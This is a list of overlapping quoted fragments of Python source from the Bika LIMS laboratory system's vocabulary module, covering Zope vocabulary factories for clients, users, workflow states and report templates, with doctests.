"the dictionary will look like: {'id': 'my.product:EAN128_default_small.pt', 'title': 'my.product: EAN128 default small'} \"\"\"",
"= isinstance(portal_types, (tuple, list)) and \\ portal_types or [portal_types, ] def __call__(self, context):",
"client1 = portal.clients.client1 >>> client1.processForm() >>> client1.invokeFactory('Contact', id='contact1') 'contact1' >>> contact1 = client1.contact1",
"= [ (_('Email'),'email'), (_('PDF'), 'pdf') ] for name, item in getAdapters((context, ), ICustomPubPref):",
"to_utf8 from Products.Archetypes.public import DisplayList from Products.CMFCore.utils import getToolByName from zope.interface import implements",
"the Templates available in the Bika LIMS path specified plus the templates from",
"__call__(self, context): out = [SimpleTerm(x['id'], x['id'], x['title']) for x in getARReportTemplates()] return SimpleVocabulary(out)",
"= ClientVocabulary() class UserVocabulary(object): \"\"\" Present a vocabulary containing users in the specified",
"'portal_type' in self.contentFilter: portal_type = self.contentFilter['portal_type'] wf_ids = [x.id for x in wf.getWorkflowsFor(portal_type)]",
"in brain and self.value in brain: key = getattr(brain, self.key) value = getattr(brain,",
"add-on, both the template_id and template_title include a prefix that matches with the",
"from bika.lims import bikaMessageFactory as _ from bika.lims.utils import t from bika.lims.interfaces import",
"list)) and \\ portal_types or [portal_types, ] def __call__(self, context): site = getSite()",
"if wf.getInfoFor(o, 'inactive_state') == 'active'] if not objects: continue objects.sort(lambda x, y: cmp(x.Title().lower(),",
"roles if isinstance(roles, (tuple, list)) else [roles, ] def __call__(self, context): site =",
"SimpleVocabulary(items) class BikaCatalogTypesVocabulary(object): \"\"\"Vocabulary factory for really user friendly portal types, filtered to",
"items.sort(lambda x, y: cmp(x[0].lower(), y[0].lower())) items = [SimpleTerm(i[1], i[1], i[0]) for i in",
"site = getSite() request = aq_get(site, 'REQUEST', None) catalog = getToolByName(site, self.catalog) if",
"= obj[self.key] key = callable(key) and key() or key value = obj[self.value] value",
"['bika_setup/bika_analysisprofiles', ], ['AnalysisProfile', ]) AnalysisProfileVocabularyFactory = AnalysisProfileVocabulary() class StorageLocationVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_storagelocations',",
"brain and self.value in brain: key = getattr(brain, self.key) value = getattr(brain, self.value)",
"], ['Client', ]) ClientVocabularyFactory = ClientVocabulary() class UserVocabulary(object): \"\"\" Present a vocabulary containing",
"and \\ portal_types or [portal_types, ] def __call__(self, context): site = getSite() request",
"key = getattr(brain, self.key) value = getattr(brain, self.value) else: obj = brain.getObjec() key",
"SimpleVocabulary(out) def getStickerTemplates(): \"\"\" Returns an array with the sticker templates available. Retrieves",
"getToolByName(portal, 'portal_workflow', None) if wftool is None: return SimpleVocabulary([]) # XXX This is",
"% v) for k, v in items_list] return SimpleVocabulary(terms) AnalysisRequestWorkflowStateVocabularyFactory = \\ AnalysisRequestWorkflowStateVocabulary()",
"= ( ('AnalysisRequest', translate(to_utf8(_('Analysis Request')))), ('Batch', translate(to_utf8(_('Batch')))), ('Sample', translate(to_utf8(_('Sample')))), ('ReferenceSample', translate(to_utf8(_('Reference Sample')))), ('Worksheet',",
"\"\"\" Returns an array with the AR Templates available in Bika LIMS plus",
"AnalysisProfileVocabulary() class StorageLocationVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_storagelocations', ], ['StorageLocation', ]) StorageLocationVocabularyFactory = StorageLocationVocabulary()",
"in xitems] items += xitems return SimpleVocabulary(items) class BikaCatalogTypesVocabulary(object): \"\"\"Vocabulary factory for really",
"in source.by_value True >>> 'user1' in source.by_value True \"\"\" implements(IVocabularyFactory) def __init__(self, roles=[]):",
"= AnalystVocabulary() class AnalysisRequestWorkflowStateVocabulary(object): \"\"\"Vocabulary factory for workflow states. >>> from zope.component import",
"with the add-on identifier. template_title is the same name as the id, but",
"\"\"\"Locate all ARReport templates to allow user to set the default \"\"\" implements(IVocabularyFactory)",
"the specified list of roles >>> from zope.component import queryUtility >>> portal =",
"plus the templates from the resources directory specified and available on each additional",
"add-ons for templates_resource in iterDirectoriesOfType(restype): prefix = templates_resource.__name__ if prefix == 'bika.lims': continue",
"portal = layer['portal'] >>> from plone.app.testing import TEST_USER_NAME >>> from plone.app.testing import TEST_USER_ID",
"iterDirectoriesOfType from zope.schema.interfaces import IVocabularyFactory from zope.schema.vocabulary import SimpleTerm from zope.schema.vocabulary import SimpleVocabulary",
">>> from zope.component import queryUtility >>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.ClientContacts'",
"': ') out.append({'id': template, 'title': title}) return out def getARReportTemplates(): \"\"\" Returns an",
"title}) return out def getARReportTemplates(): \"\"\" Returns an array with the AR Templates",
"layer['portal'] >>> name = 'bika.lims.vocabularies.ClientContacts' >>> util = queryUtility(IVocabularyFactory, name) >>> from plone.app.testing",
"other instructions # are explicitly specified: wf = getToolByName(site, 'portal_workflow') if 'portal_type' in",
"TEST_USER_NAME) >>> setRoles(portal, TEST_USER_ID, ['Manager',]) >>> portal.clients.invokeFactory('Client', id='client1') 'client1' >>> client1 = portal.clients.client1",
"'active' elif 'bika_cancellation_workflow' in wf_ids \\ and 'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['cancellation_state'] =",
"portal_types): self.folders = isinstance(folders, (tuple, list)) and \\ folders or [folders, ] self.portal_types",
"for templates_resource in iterDirectoriesOfType(restype): prefix = templates_resource.__name__ if prefix == 'bika.lims': continue dirlist",
"anbled, # Be sure and select only active objects, unless other instructions #",
">>> states <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> pub = states.by_token['published'] >>> pub.title, pub.token,",
"indexed by bika_catalog \"\"\" implements(IVocabularyFactory) def __call__(self, context): translate = context.translate types =",
"saved in templates/stickers folder. Each array item is a dictionary with the following",
"templates from other add-ons for templates_resource in iterDirectoriesOfType(restype): prefix = templates_resource.__name__ if prefix",
"if 'allow_blank' in kwargs: allow_blank = True del (kwargs['allow_blank']) self.contentFilter.update(**kwargs) # If a",
"\"\"\" Returns an array with the sticker templates available. Retrieves the TAL templates",
"client in site.clients.objectValues('Client'): objects = list(client.objectValues('Contact')) objects.sort(lambda x, y: cmp(x.getFullname().lower(), y.getFullname().lower())) xitems =",
"for client in site.clients.objectValues('Client'): objects = list(client.objectValues('Contact')) objects.sort(lambda x, y: cmp(x.getFullname().lower(), y.getFullname().lower())) xitems",
"Bika LIMS plus the templates from the 'reports' resources directory type from each",
"and \\ folders or [folders, ] self.portal_types = isinstance(portal_types, (tuple, list)) and \\",
"\\ and 'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['inactive_state'] = 'active' elif 'bika_cancellation_workflow' in wf_ids",
"pub.value (u'Published', 'published', 'published') \"\"\" implements(IVocabularyFactory) def __call__(self, context): portal = getSite() wftool",
"resdirname) return getTemplates(p, resdirname) class StickerTemplatesVocabulary(object): \"\"\" Locate all sticker templates \"\"\" implements(IVocabularyFactory)",
"with whitespaces and without extension. As an example, for a template from the",
"templates/reports dir, and with a filename \"My_cool_report.pt\", the dictionary will look like: {'id':",
"return DisplayList(items) class BikaContentVocabulary(object): \"\"\"Vocabulary factory for Bika Setup objects. We find them",
"prefix that matches with the add-on identifier. template_title is the same name as",
"__init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisprofiles', ], ['AnalysisProfile', ]) AnalysisProfileVocabularyFactory = AnalysisProfileVocabulary() class StorageLocationVocabulary(BikaContentVocabulary): def __init__(self):",
">>> from plone.app.testing import setRoles >>> from plone.app.testing import login >>> login(portal, TEST_USER_NAME)",
"in self.folders: folder = site.restrictedTraverse(folder) for portal_type in self.portal_types: objects = list(folder.objectValues(portal_type)) objects",
"in self.contentFilter: portal_type = self.contentFilter['portal_type'] wf_ids = [x.id for x in wf.getWorkflowsFor(portal_type)] if",
"not objects: continue objects.sort(lambda x, y: cmp(x.Title().lower(), y.Title().lower())) xitems = [(t(item.Title()), item.Title()) for",
"dictionary with the following structure: {'id': <template_id>, 'title': <template_title>} If the template lives",
"queryUtility >>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.AnalysisRequestWorkflowStates' >>> util = queryUtility(IVocabularyFactory,",
"AnalystVocabulary() class AnalysisRequestWorkflowStateVocabulary(object): \"\"\"Vocabulary factory for workflow states. >>> from zope.component import queryUtility",
"if tpl.endswith('.pt')] templates.extend(exts) out = [] templates.sort() for template in templates: title =",
"obj[self.value] value = callable(value) and value() or value items.append((key, t(value))) return DisplayList(items) class",
"mtool.searchForMembers(roles=self.roles) items = [(item.getProperty('fullname'), item.getId()) for item in users] items.sort(lambda x, y: cmp(x[0].lower(),",
"{} key = 'UID' value = 'Title' def __init__(self, context, key=None, value=None, contentFilter=None):",
"UserVocabulary() ClientVocabularyFactory = ClientVocabulary() class ClientContactVocabulary(object): \"\"\" Present Client Contacts >>> from zope.component",
"__init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_samplepoints', ], ['SamplePoint', ]) SamplePointVocabularyFactory = SamplePointVocabulary() class SampleTypeVocabulary(BikaContentVocabulary): def __init__(self):",
"[SimpleTerm(i[1], i[1], i[0]) for i in xitems] items += xitems return SimpleVocabulary(items) class",
"roles >>> from zope.component import queryUtility >>> portal = layer['portal'] >>> name =",
"in wf_ids \\ and 'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['cancellation_state'] = 'active' brains =",
"like: {'id': 'my.product:My_cool_report.pt', 'title': 'my.product: My cool report'} \"\"\" resdirname = 'reports' p",
"= getToolByName(site, self.catalog) if 'allow_blank' in kwargs: allow_blank = True del (kwargs['allow_blank']) self.contentFilter.update(**kwargs)",
"{'id': 'my.product:EAN128_default_small.pt', 'title': 'my.product: EAN128 default small'} \"\"\" # Retrieve the templates from",
"import queryUtility >>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.Users' >>> util =",
"templates_resource.__name__ if prefix == 'bika.lims': continue dirlist = templates_resource.listDirectory() exts = ['{0}:{1}'.format(prefix, tpl)",
"sure and select only active objects, unless other instructions # are explicitly specified:",
"from catalog query. \"\"\" implements(IDisplayListVocabulary) catalog = 'portal_catalog' contentFilter = {} key =",
"SimpleVocabulary(items) BikaCatalogTypesVocabularyFactory = BikaCatalogTypesVocabulary() class AnalysisCategoryVocabulary(BikaContentVocabulary): \"\"\"\" AnalysisCategories >>> portal = layer['portal'] >>>",
"'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['cancellation_state'] = 'active' brains = catalog(self.contentFilter) items = [('',",
"the templates from the resources directory specified and available on each additional product",
"in self.contentFilter: self.contentFilter['inactive_state'] = 'active' elif 'bika_cancellation_workflow' in wf_ids \\ and 'bika_inactive_workflow' not",
"v in items_list] return SimpleVocabulary(terms) AnalysisRequestWorkflowStateVocabularyFactory = \\ AnalysisRequestWorkflowStateVocabulary() class ARPrioritiesVocabulary(BikaContentVocabulary): def __init__(self):",
"same name as the id, but with whitespaces and without extension. As an",
"True >>> 'user1' in source.by_value True \"\"\" implements(IVocabularyFactory) def __init__(self, roles=[]): self.roles =",
"\"\"\" def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysiscategories', ], ['AnalysisCategory', ]) AnalysisCategoryVocabularyFactory = AnalysisCategoryVocabulary() class AnalysisProfileVocabulary(BikaContentVocabulary):",
"templates: title = template[:-3] title = title.replace('_', ' ') title = title.replace(':', ':",
"bika.lims add-on, both the template_id and template_title include a prefix that matches with",
"def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisprofiles', ], ['AnalysisProfile', ]) AnalysisProfileVocabularyFactory = AnalysisProfileVocabulary() class StorageLocationVocabulary(BikaContentVocabulary): def",
"users] items.sort(lambda x, y: cmp(x[0].lower(), y[0].lower())) items = [SimpleTerm(i[1], i[1], i[0]) for i",
"if 'bika_inactive_workflow' in wf_ids \\ and 'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['inactive_state'] = 'active'",
"(kwargs['allow_blank']) self.contentFilter.update(**kwargs) # If a secondary deactivation/cancellation workflow is anbled, # Be sure",
"we get REQUEST from wftool because context may be an adapter request =",
"for k, v in items_list] return SimpleVocabulary(terms) AnalysisRequestWorkflowStateVocabularyFactory = \\ AnalysisRequestWorkflowStateVocabulary() class ARPrioritiesVocabulary(BikaContentVocabulary):",
"brain.getObjec() key = obj[self.key] key = callable(key) and key() or key value =",
"def __init__(self, context, key=None, value=None, contentFilter=None): self.context = context self.key = key if",
"portal.portal_registration >>> tool.addMember('user1', 'user1', ... properties = { ... 'username': 'user1', ... 'email':",
"for item in users] items.sort(lambda x, y: cmp(x[0].lower(), y[0].lower())) items = [SimpleTerm(i[1], i[1],",
"factory for Bika Setup objects. We find them by listing folder contents directly.",
"tool = portal.portal_registration >>> tool.addMember('user1', 'user1', ... properties = { ... 'username': 'user1',",
"len(objects) 3 >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>>",
"ClientVocabularyFactory = ClientVocabulary() class UserVocabulary(object): \"\"\" Present a vocabulary containing users in the",
"in templates/reports dir, and with a filename \"My_cool_report.pt\", the dictionary will look like:",
"__init__(self): BikaContentVocabulary.__init__(self, ['clients', ], ['Client', ]) ClientVocabularyFactory = ClientVocabulary() class UserVocabulary(object): \"\"\" Present",
"IVocabularyFactory from zope.schema.vocabulary import SimpleTerm from zope.schema.vocabulary import SimpleVocabulary from zope.component import getAdapters",
"at ...> >>> 'Contact One' in source.by_value True \"\"\" implements(IVocabularyFactory) def __call__(self, context):",
"states = util(portal) >>> states <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> pub = states.by_token['published']",
"mtool = getToolByName(site, 'portal_membership') users = mtool.searchForMembers(roles=self.roles) items = [(item.getProperty('fullname'), item.getId()) for item",
"As an example, for a template from the my.product add-on located in templates/stickers,",
"object at ...> >>> 'Water Chemistry' in source.by_token True \"\"\" def __init__(self): BikaContentVocabulary.__init__(self,",
"AnalysisRequestWorkflowStateVocabularyFactory = \\ AnalysisRequestWorkflowStateVocabulary() class ARPrioritiesVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_arpriorities', ], ['ARPriority', ])",
"<zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'Water Chemistry' in source.by_token True \"\"\" def __init__(self):",
"roles=[]): self.roles = roles if isinstance(roles, (tuple, list)) else [roles, ] def __call__(self,",
"# Retrieve the templates from other add-ons for templates_resource in iterDirectoriesOfType(restype): prefix =",
"], ['StorageLocation', ]) StorageLocationVocabularyFactory = StorageLocationVocabulary() class SamplePointVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_samplepoints', ],",
"be request specific. # The sorting should go into a separate widget. #",
"# The sorting should go into a separate widget. # we get REQUEST",
"import IDisplayListVocabulary, ICustomPubPref from bika.lims.utils import to_utf8 from Products.Archetypes.public import DisplayList from Products.CMFCore.utils",
"return SimpleVocabulary(items) UserVocabularyFactory = UserVocabulary() ClientVocabularyFactory = ClientVocabulary() class ClientContactVocabulary(object): \"\"\" Present Client",
"used for /plone/acl_users> >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...>",
"items = [(item.getProperty('fullname'), item.getId()) for item in users] items.sort(lambda x, y: cmp(x[0].lower(), y[0].lower()))",
"default small'} \"\"\" # Retrieve the templates from bika.lims add-on resdirname = 'stickers'",
"def __call__(self, context): items = [ (_('Email'),'email'), (_('PDF'), 'pdf') ] for name, item",
"t(i[0])) for i in items]) items_list = [(k, v) for k, v in",
"'user1' in source.by_value True \"\"\" implements(IVocabularyFactory) def __init__(self, roles=[]): self.roles = roles if",
"add-on located in templates/reports dir, and with a filename \"My_cool_report.pt\", the dictionary will",
"= [o for o in objects if wf.getInfoFor(o, 'inactive_state') == 'active'] if not",
"or [portal_types, ] def __call__(self, context): site = getSite() request = aq_get(site, 'REQUEST',",
"resdirname = 'stickers' p = os.path.join(\"browser\", \"templates\", resdirname) return getTemplates(p, resdirname) class StickerTemplatesVocabulary(object):",
"getToolByName from zope.interface import implements from pkg_resources import resource_filename from plone.resource.utils import iterDirectoriesOfType",
"out = [] templates.sort() for template in templates: title = template[:-3] title =",
"(restype). Each array item is a dictionary with the following structure: {'id': <template_id>,",
"'contact1' >>> contact1 = client1.contact1 >>> contact1.processForm() >>> contact1.edit(Firstname='Contact', Surname='One') >>> contact1.reindexObject() >>>",
"i in items] return SimpleVocabulary(items) UserVocabularyFactory = UserVocabulary() ClientVocabularyFactory = ClientVocabulary() class ClientContactVocabulary(object):",
"dictionary will look like: {'id': 'my.product:EAN128_default_small.pt', 'title': 'my.product: EAN128 default small'} \"\"\" #",
"= BikaCatalogTypesVocabulary() class AnalysisCategoryVocabulary(BikaContentVocabulary): \"\"\"\" AnalysisCategories >>> portal = layer['portal'] >>> from plone.app.testing",
"util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'Contact One' in source.by_value True",
"xitems] items += xitems return SimpleVocabulary(items) class BikaCatalogTypesVocabulary(object): \"\"\"Vocabulary factory for really user",
"sorting should go into a separate widget. # we get REQUEST from wftool",
"if self.key in brain and self.value in brain: key = getattr(brain, self.key) value",
"= context.translate types = ( ('AnalysisRequest', translate(to_utf8(_('Analysis Request')))), ('Batch', translate(to_utf8(_('Batch')))), ('Sample', translate(to_utf8(_('Sample')))), ('ReferenceSample',",
"may be an adapter request = aq_get(wftool, 'REQUEST', None) wf = wftool.getWorkflowById('bika_ar_workflow') items",
"from zope.component import queryUtility >>> name = 'bika.lims.vocabularies.AnalysisCategories' >>> util = queryUtility(IVocabularyFactory, name)",
"allow_blank = True del (kwargs['allow_blank']) self.contentFilter.update(**kwargs) # If a secondary deactivation/cancellation workflow is",
"context may be an adapter request = aq_get(wftool, 'REQUEST', None) wf = wftool.getWorkflowById('bika_ar_workflow')",
"unless other instructions # are explicitly specified: wf = getToolByName(site, 'portal_workflow') if 'portal_type'",
"TEST_USER_ID >>> from plone.app.testing import setRoles >>> from plone.app.testing import login >>> login(portal,",
"As an example, for a template from the my.product add-on located in templates/reports",
"], ['AnalysisCategory', ]) AnalysisCategoryVocabularyFactory = AnalysisCategoryVocabulary() class AnalysisProfileVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisprofiles', ],",
"'portal_membership') users = mtool.searchForMembers(roles=self.roles) items = [(item.getProperty('fullname'), item.getId()) for item in users] items.sort(lambda",
"dict([(i[1], t(i[0])) for i in items]) items_list = [(k, v) for k, v",
"... 'email': '<EMAIL>', ... 'fullname': 'user1'} ... ) <MemberData at /plone/portal_memberdata/user1 used for",
"source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'Water Chemistry' in",
"y[0].lower())) items = [SimpleTerm(i[1], i[1], i[0]) for i in items] return SimpleVocabulary(items) UserVocabularyFactory",
"class ClientVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['clients', ], ['Client', ]) ClientVocabularyFactory = ClientVocabulary() class",
"from the 'reports' resources directory type from each additional product. Each array item",
"\"\"\" implements(IVocabularyFactory) def __init__(self, folders, portal_types): self.folders = isinstance(folders, (tuple, list)) and \\",
"if isinstance(roles, (tuple, list)) else [roles, ] def __call__(self, context): site = getSite()",
"= getSite() request = aq_get(site, 'REQUEST', None) catalog = getToolByName(site, self.catalog) if 'allow_blank'",
"them by listing folder contents directly. \"\"\" implements(IVocabularyFactory) def __init__(self, folders, portal_types): self.folders",
"sticker templates available. Retrieves the TAL templates saved in templates/stickers folder. Each array",
"array item is a dictionary with the following structure: {'id': <template_id>, 'title': <template_title>}",
"key if key else self.key self.value = value if value else self.value self.contentFilter",
"from bika.lims add-on templates_dir = resource_filename(\"bika.lims\", bikalims_path) tempath = os.path.join(templates_dir, '*.pt') templates =",
"look like: {'id': 'my.product:My_cool_report.pt', 'title': 'my.product: My cool report'} \"\"\" resdirname = 'reports'",
">>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'Contact One' in source.by_value True \"\"\"",
"# If a secondary deactivation/cancellation workflow is anbled, # Be sure and select",
"request = aq_get(site, 'REQUEST', None) items = [] for client in site.clients.objectValues('Client'): objects",
"or value items.append((key, t(value))) return DisplayList(items) class BikaContentVocabulary(object): \"\"\"Vocabulary factory for Bika Setup",
"= 'bika.lims.vocabularies.ClientContacts' >>> util = queryUtility(IVocabularyFactory, name) >>> from plone.app.testing import TEST_USER_NAME >>>",
"BikaContentVocabulary.__init__(self, ['clients', ], ['Client', ]) ClientVocabularyFactory = ClientVocabulary() class UserVocabulary(object): \"\"\" Present a",
"= AnalysisProfileVocabulary() class StorageLocationVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_storagelocations', ], ['StorageLocation', ]) StorageLocationVocabularyFactory =",
"[x.id for x in wf.getWorkflowsFor(portal_type)] if 'bika_inactive_workflow' in wf_ids \\ and 'bika_inactive_workflow' not",
"= getSite() request = aq_get(site, 'REQUEST', None) items = [] wf = site.portal_workflow",
"widget. # we get REQUEST from wftool because context may be an adapter",
"\"\"\"\" AnalysisCategories >>> portal = layer['portal'] >>> from plone.app.testing import TEST_USER_NAME >>> from",
"all sticker templates \"\"\" implements(IVocabularyFactory) def __call__(self, context): out = [SimpleTerm(x['id'], x['id'], x['title'])",
"object at ...> >>> 'Contact One' in source.by_value True \"\"\" implements(IVocabularyFactory) def __call__(self,",
"get REQUEST from wftool because context may be an adapter request = aq_get(wftool,",
"'published', 'published') \"\"\" implements(IVocabularyFactory) def __call__(self, context): portal = getSite() wftool = getToolByName(portal,",
"portal types, filtered to return only types listed as indexed by bika_catalog \"\"\"",
"['bika_setup/bika_samplepoints', ], ['SamplePoint', ]) SamplePointVocabularyFactory = SamplePointVocabulary() class SampleTypeVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_sampletypes',",
"wftool is None: return SimpleVocabulary([]) # XXX This is evil. A vocabulary shouldn't",
"['clients', ], ['Client', ]) ClientVocabularyFactory = ClientVocabulary() class UserVocabulary(object): \"\"\" Present a vocabulary",
"def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_storagelocations', ], ['StorageLocation', ]) StorageLocationVocabularyFactory = StorageLocationVocabulary() class SamplePointVocabulary(BikaContentVocabulary): def",
"import queryUtility >>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.AnalysisRequestWorkflowStates' >>> util =",
"sticker templates \"\"\" implements(IVocabularyFactory) def __call__(self, context): out = [SimpleTerm(x['id'], x['id'], x['title']) for",
"value() or value items.append((key, t(value))) return DisplayList(items) class BikaContentVocabulary(object): \"\"\"Vocabulary factory for Bika",
"resdirname) return getTemplates(p, resdirname) class ARReportTemplatesVocabulary(object): \"\"\"Locate all ARReport templates to allow user",
"TEST_USER_ID, ['Manager',]) >>> portal.clients.invokeFactory('Client', id='client1') 'client1' >>> client1 = portal.clients.client1 >>> client1.processForm() >>>",
"on each additional product (restype). Each array item is a dictionary with the",
"zope.schema.interfaces import IVocabularyFactory from zope.schema.vocabulary import SimpleTerm from zope.schema.vocabulary import SimpleVocabulary from zope.component",
"translate(to_utf8(_('Batch')))), ('Sample', translate(to_utf8(_('Sample')))), ('ReferenceSample', translate(to_utf8(_('Reference Sample')))), ('Worksheet', translate(to_utf8(_('Worksheet')))) ) items = [SimpleTerm(i[0], i[0],",
"implements(IVocabularyFactory) def __call__(self, context): portal = getSite() wftool = getToolByName(portal, 'portal_workflow', None) if",
"= template[:-3] title = title.replace('_', ' ') title = title.replace(':', ': ') out.append({'id':",
">>> tool = getToolByName(portal, \"portal_workflow\") >>> states = util(portal) >>> states <zope.schema.vocabulary.SimpleVocabulary object",
"to set the default \"\"\" implements(IVocabularyFactory) def __call__(self, context): out = [SimpleTerm(x['id'], x['id'],",
"for workflow states. >>> from zope.component import queryUtility >>> portal = layer['portal'] >>>",
"BikaContentVocabulary.__init__(self, ['bika_setup/bika_storagelocations', ], ['StorageLocation', ]) StorageLocationVocabularyFactory = StorageLocationVocabulary() class SamplePointVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self,",
"= \\ AnalysisRequestWorkflowStateVocabulary() class ARPrioritiesVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_arpriorities', ], ['ARPriority', ]) def",
"return SimpleVocabulary(terms) AnalysisRequestWorkflowStateVocabularyFactory = \\ AnalysisRequestWorkflowStateVocabulary() class ARPrioritiesVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_arpriorities', ],",
"= folder.objectValues() >>> len(objects) 3 >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object",
"in dirlist if tpl.endswith('.pt')] templates.extend(exts) out = [] templates.sort() for template in templates:",
") <MemberData at /plone/portal_memberdata/user1 used for /plone/acl_users> >>> source = util(portal) >>> source",
"Returns an array with the Templates available in the Bika LIMS path specified",
"StorageLocationVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_storagelocations', ], ['StorageLocation', ]) StorageLocationVocabularyFactory = StorageLocationVocabulary() class SamplePointVocabulary(BikaContentVocabulary):",
"dirlist if tpl.endswith('.pt')] templates.extend(exts) out = [] templates.sort() for template in templates: title",
"contents directly. \"\"\" implements(IVocabularyFactory) def __init__(self, folders, portal_types): self.folders = isinstance(folders, (tuple, list))",
"tempath = os.path.join(templates_dir, '*.pt') templates = [os.path.split(x)[-1] for x in glob.glob(tempath)] # Retrieve",
"each additional product (restype). Each array item is a dictionary with the following",
"brains = catalog(self.contentFilter) items = [('', '')] if allow_blank else [] for brain",
"os.path.join(\"browser\", \"templates\", resdirname) return getTemplates(p, resdirname) class StickerTemplatesVocabulary(object): \"\"\" Locate all sticker templates",
"items_list] return SimpleVocabulary(terms) AnalysisRequestWorkflowStateVocabularyFactory = \\ AnalysisRequestWorkflowStateVocabulary() class ARPrioritiesVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_arpriorities',",
"[('', '')] if allow_blank else [] for brain in brains: if self.key in",
"from bika.lims add-on resdirname = 'stickers' p = os.path.join(\"browser\", \"templates\", resdirname) return getTemplates(p,",
"os.path.join(\"browser\", \"analysisrequest\", \"templates\", resdirname) return getTemplates(p, resdirname) class ARReportTemplatesVocabulary(object): \"\"\"Locate all ARReport templates",
"EAN128 default small'} \"\"\" # Retrieve the templates from bika.lims add-on resdirname =",
"i[0]) for i in xitems] items += xitems return SimpleVocabulary(items) class BikaCatalogTypesVocabulary(object): \"\"\"Vocabulary",
"template_title include a prefix that matches with the add-on identifier. template_title is the",
"a filename \"EAN128_default_small.pt\", the dictionary will look like: {'id': 'my.product:EAN128_default_small.pt', 'title': 'my.product: EAN128",
"queryUtility >>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.Users' >>> util = queryUtility(IVocabularyFactory,",
"active objects, unless other instructions # are explicitly specified: wf = getToolByName(site, 'portal_workflow')",
"'portal_catalog' contentFilter = {} key = 'UID' value = 'Title' def __init__(self, context,",
"from other add-ons for templates_resource in iterDirectoriesOfType(restype): prefix = templates_resource.__name__ if prefix ==",
"Bika LIMS path specified plus the templates from the resources directory specified and",
"getStickerTemplates()] return SimpleVocabulary(out) ARReportTemplatesVocabularyFactory = ARReportTemplatesVocabulary() class CustomPubPrefVocabulary(object): implements(IVocabularyFactory) def __call__(self, context): items",
"type from each additional product. Each array item is a dictionary with the",
"CustomPubPrefVocabulary(object): implements(IVocabularyFactory) def __call__(self, context): items = [ (_('Email'),'email'), (_('PDF'), 'pdf') ] for",
"site = getSite() request = aq_get(site, 'REQUEST', None) items = [] wf =",
"['Manager',]) >>> from zope.component import queryUtility >>> name = 'bika.lims.vocabularies.AnalysisCategories' >>> util =",
"an array with the AR Templates available in Bika LIMS plus the templates",
"from zope.schema.vocabulary import SimpleVocabulary from zope.component import getAdapters from zope.site.hooks import getSite import",
"login >>> login(portal, TEST_USER_NAME) >>> setRoles(portal, TEST_USER_ID, ['Manager',]) >>> portal.clients.invokeFactory('Client', id='client1') 'client1' >>>",
"def __call__(self, **kwargs): site = getSite() request = aq_get(site, 'REQUEST', None) catalog =",
"in templates/stickers folder. Each array item is a dictionary with the following structure:",
"items]) items_list = [(k, v) for k, v in items_dict.items()] items_list.sort(lambda x, y:",
"XXX This is evil. A vocabulary shouldn't be request specific. # The sorting",
"an array with the sticker templates available. Retrieves the TAL templates saved in",
"pkg_resources import resource_filename from plone.resource.utils import iterDirectoriesOfType from zope.schema.interfaces import IVocabularyFactory from zope.schema.vocabulary",
"return SimpleVocabulary([]) # XXX This is evil. A vocabulary shouldn't be request specific.",
"and available on each additional product (restype). Each array item is a dictionary",
"class StorageLocationVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_storagelocations', ], ['StorageLocation', ]) StorageLocationVocabularyFactory = StorageLocationVocabulary() class",
"= states.by_token['published'] >>> pub.title, pub.token, pub.value (u'Published', 'published', 'published') \"\"\" implements(IVocabularyFactory) def __call__(self,",
"filename \"My_cool_report.pt\", the dictionary will look like: {'id': 'my.product:My_cool_report.pt', 'title': 'my.product: My cool",
"a prefix that matches with the add-on identifier. template_title is the same name",
"], ['AnalysisService', ]) AnalysisServiceVocabularyFactory = AnalysisServiceVocabulary() class ClientVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['clients', ],",
"x, y: cmp(x[0].lower(), y[0].lower())) items = [SimpleTerm(i[1], i[1], i[0]) for i in items]",
